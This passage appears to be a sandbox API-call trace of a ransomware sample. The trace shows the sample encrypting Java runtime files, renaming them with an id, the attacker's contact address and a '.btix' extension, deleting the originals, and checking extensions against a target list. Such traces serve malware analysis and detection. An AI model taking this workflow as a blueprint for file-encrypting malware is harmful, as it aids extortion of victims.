(hObject=0x3cc) returned 1 [0128.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0128.963] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0129.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.019] lstrlenW (lpString=".doc") returned 4 [0129.019] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString=".docx") returned 5 [0129.020] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0129.020] lstrlenW (lpString=".pdf") returned 4 [0129.020] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString=".xls") returned 4 [0129.020] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString=".xlsx") returned 5 [0129.020] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0129.020] lstrlenW (lpString=".ppt") returned 4 [0129.020] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.020] lstrlenW (lpString=".zip") returned 4 [0129.020] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString=".rar") returned 4 [0129.020] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString=".bz2") returned 4 [0129.020] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0129.020] lstrlenW (lpString=".7z") returned 3 [0129.020] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0129.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.020] lstrlenW (lpString=".dbf") returned 4 [0129.020] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.020] lstrlenW (lpString=".1cd") returned 4 [0129.020] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0129.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.020] lstrlenW (lpString=".jpg") returned 4 [0129.020] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.020] lstrlenW (lpString=".doc") returned 4 [0129.020] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0129.020] lstrlenW (lpString=".docx") returned 5 [0129.020] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0129.020] lstrlenW (lpString=".pdf") returned 4 [0129.020] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0129.021] lstrlenW (lpString=".xls") returned 4 [0129.021] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0129.021] lstrlenW (lpString=".xlsx") returned 5 [0129.021] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0129.021] lstrlenW (lpString=".ppt") returned 4 [0129.021] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0129.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.021] lstrlenW (lpString=".zip") returned 4 [0129.021] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0129.021] lstrlenW (lpString=".rar") returned 4 [0129.021] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0129.021] lstrlenW (lpString=".bz2") returned 4 [0129.021] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0129.021] lstrlenW (lpString=".7z") returned 3 [0129.021] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0129.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.021] lstrlenW (lpString=".dbf") returned 4 [0129.021] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0129.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.021] lstrlenW (lpString=".1cd") returned 4 [0129.021] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0129.021] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0129.021] lstrlenW (lpString=".jpg") returned 4 [0129.021] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0129.021] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0129.021] lstrlenW (lpString="charsets.jar") returned 12 [0129.021] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.022] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3036922) returned 1 [0129.022] CloseHandle (hObject=0x3cc) returned 1 [0129.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0129.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0129.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.023] lstrlenW (lpString=".doc") returned 4 [0129.023] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0129.023] lstrlenW (lpString=".docx") returned 5 [0129.023] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0129.023] lstrlenW (lpString=".pdf") returned 4 [0129.023] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0129.023] lstrlenW (lpString=".xls") returned 4 [0129.023] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0129.023] lstrlenW (lpString=".xlsx") returned 5 [0129.023] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0129.023] lstrlenW (lpString=".ppt") returned 4 [0129.023] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0129.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.023] lstrlenW (lpString=".zip") returned 4 [0129.023] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0129.023] lstrlenW (lpString=".rar") returned 4 [0129.023] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0129.023] lstrlenW (lpString=".bz2") returned 4 [0129.023] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0129.023] lstrlenW (lpString=".7z") returned 3 [0129.023] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0129.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.023] lstrlenW (lpString=".dbf") returned 4 [0129.023] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0129.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.024] lstrlenW (lpString=".1cd") returned 4 [0129.024] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0129.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.024] lstrlenW (lpString=".jpg") returned 4 [0129.024] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0129.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.024] lstrlenW (lpString=".doc") returned 4 [0129.024] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0129.024] lstrlenW (lpString=".docx") returned 5 [0129.024] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0129.024] lstrlenW (lpString=".pdf") returned 4 [0129.024] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0129.024] lstrlenW (lpString=".xls") returned 4 [0129.024] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0129.024] lstrlenW (lpString=".xlsx") returned 5 [0129.024] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0129.024] lstrlenW (lpString=".ppt") returned 4 [0129.024] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0129.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.024] lstrlenW (lpString=".zip") returned 4 [0129.024] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0129.024] lstrlenW (lpString=".rar") returned 4 [0129.024] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0129.024] lstrlenW (lpString=".bz2") returned 4 [0129.024] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0129.024] lstrlenW (lpString=".7z") returned 3 [0129.024] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0129.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.024] lstrlenW (lpString=".dbf") returned 4 [0129.024] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0129.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.024] lstrlenW (lpString=".1cd") returned 4 [0129.024] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0129.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0129.024] lstrlenW (lpString=".jpg") returned 4 [0129.025] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0129.025] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".btix") returned -1 [0129.025] lstrlenW (lpString="classlist") returned 9 [0129.025] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.027] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=84355) returned 1 [0129.027] CloseHandle (hObject=0x3cc) returned 1 [0129.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0129.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.028] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.028] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0129.028] GetLastError () returned 0x0 [0129.028] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x14983, lpOverlapped=0x0) returned 1 [0129.050] WriteFile (in: hFile=0x3d4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x14990, lpOverlapped=0x0) returned 1 [0129.052] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.052] WriteFile (in: hFile=0x3d4, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1 [0129.052] SetEndOfFile (hFile=0x3d4) returned 1 [0129.052] CloseHandle (hObject=0x3d4) returned 1 [0129.052] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.052] SetEndOfFile (hFile=0x3cc) returned 1 [0129.055] CloseHandle (hObject=0x3cc) returned 1 [0129.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.056] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0129.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.056] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.056] lstrlenW (lpString=".doc") returned 4 [0129.056] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0129.056] lstrlenW (lpString=".docx") returned 5 [0129.056] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0129.056] lstrlenW (lpString=".pdf") returned 4 [0129.056] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0129.056] lstrlenW (lpString=".xls") returned 4 [0129.056] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0129.056] lstrlenW (lpString=".xlsx") returned 5 [0129.056] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0129.056] lstrlenW (lpString=".ppt") returned 4 [0129.057] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0129.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.057] lstrlenW (lpString=".zip") returned 4 [0129.057] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0129.057] lstrlenW (lpString=".rar") returned 4 [0129.057] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0129.057] lstrlenW (lpString=".bz2") returned 4 [0129.057] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0129.057] lstrlenW (lpString=".7z") returned 3 [0129.057] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0129.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.057] lstrlenW (lpString=".dbf") returned 4 [0129.057] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0129.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.057] lstrlenW (lpString=".1cd") returned 4 [0129.057] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0129.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.057] lstrlenW (lpString=".jpg") returned 4 [0129.057] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0129.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.057] lstrlenW (lpString=".doc") returned 4 [0129.057] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0129.057] lstrlenW (lpString=".docx") returned 5 [0129.057] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0129.057] lstrlenW (lpString=".pdf") returned 4 [0129.057] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0129.057] lstrlenW (lpString=".xls") returned 4 [0129.057] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0129.057] lstrlenW (lpString=".xlsx") returned 5 [0129.057] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0129.058] lstrlenW (lpString=".ppt") returned 4 [0129.058] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0129.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.058] lstrlenW (lpString=".zip") returned 4 [0129.058] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0129.058] lstrlenW (lpString=".rar") returned 4 [0129.058] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0129.058] lstrlenW (lpString=".bz2") returned 4 [0129.058] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0129.058] lstrlenW (lpString=".7z") returned 3 [0129.058] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0129.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.058] lstrlenW (lpString=".dbf") returned 4 [0129.058] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0129.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.058] lstrlenW (lpString=".1cd") returned 4 [0129.058] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0129.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0129.058] lstrlenW (lpString=".jpg") returned 4 [0129.058] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0129.058] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0129.058] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0129.058] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.059] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=51236) returned 1 [0129.059] CloseHandle (hObject=0x3cc) returned 1 [0129.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0129.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0129.059] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.059] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0129.065] GetLastError () returned 0x0 [0129.066] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xc824, lpOverlapped=0x0) returned 1 [0129.170] WriteFile (in: hFile=0x3c0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xc830, lpOverlapped=0x0) returned 1 [0129.172] ReadFile (in: hFile=0x3cc, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.172] WriteFile (in: hFile=0x3c0, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1 [0129.172] SetEndOfFile (hFile=0x3c0) returned 1 [0129.172] CloseHandle (hObject=0x3c0) returned 1 [0129.179] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.179] SetEndOfFile (hFile=0x3cc) returned 1 [0129.184] CloseHandle (hObject=0x3cc) returned 1 [0129.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.184] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0129.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.185] lstrlenW (lpString=".doc") returned 4 [0129.185] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString=".docx") returned 5 [0129.185] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0129.185] lstrlenW (lpString=".pdf") returned 4 [0129.185] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString=".xls") returned 4 [0129.185] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString=".xlsx") returned 5 [0129.185] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0129.185] lstrlenW (lpString=".ppt") returned 4 [0129.185] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.185] lstrlenW (lpString=".zip") returned 4 [0129.185] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString=".rar") returned 4 [0129.185] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString=".bz2") returned 4 [0129.185] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString=".7z") returned 3 [0129.185] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.185] lstrlenW (lpString=".dbf") returned 4 [0129.185] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.185] lstrlenW (lpString=".1cd") returned 4 [0129.185] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.185] lstrlenW (lpString=".jpg") returned 4 [0129.185] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0129.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.185] lstrlenW (lpString=".doc") returned 4 [0129.185] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString=".docx") returned 5 [0129.186] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0129.186] lstrlenW (lpString=".pdf") returned 4 [0129.186] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString=".xls") returned 4 [0129.186] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString=".xlsx") returned 5 [0129.186] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0129.186] lstrlenW (lpString=".ppt") returned 4 [0129.186] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0129.186] lstrlenW (lpString=".zip") returned 4 [0129.186] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString=".rar") returned 4 [0129.186] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString=".bz2") returned 4 [0129.186] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0129.186] lstrlenW (lpString=".7z") returned 3 [0129.186] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.186] lstrlenW (lpString="C:\\Program 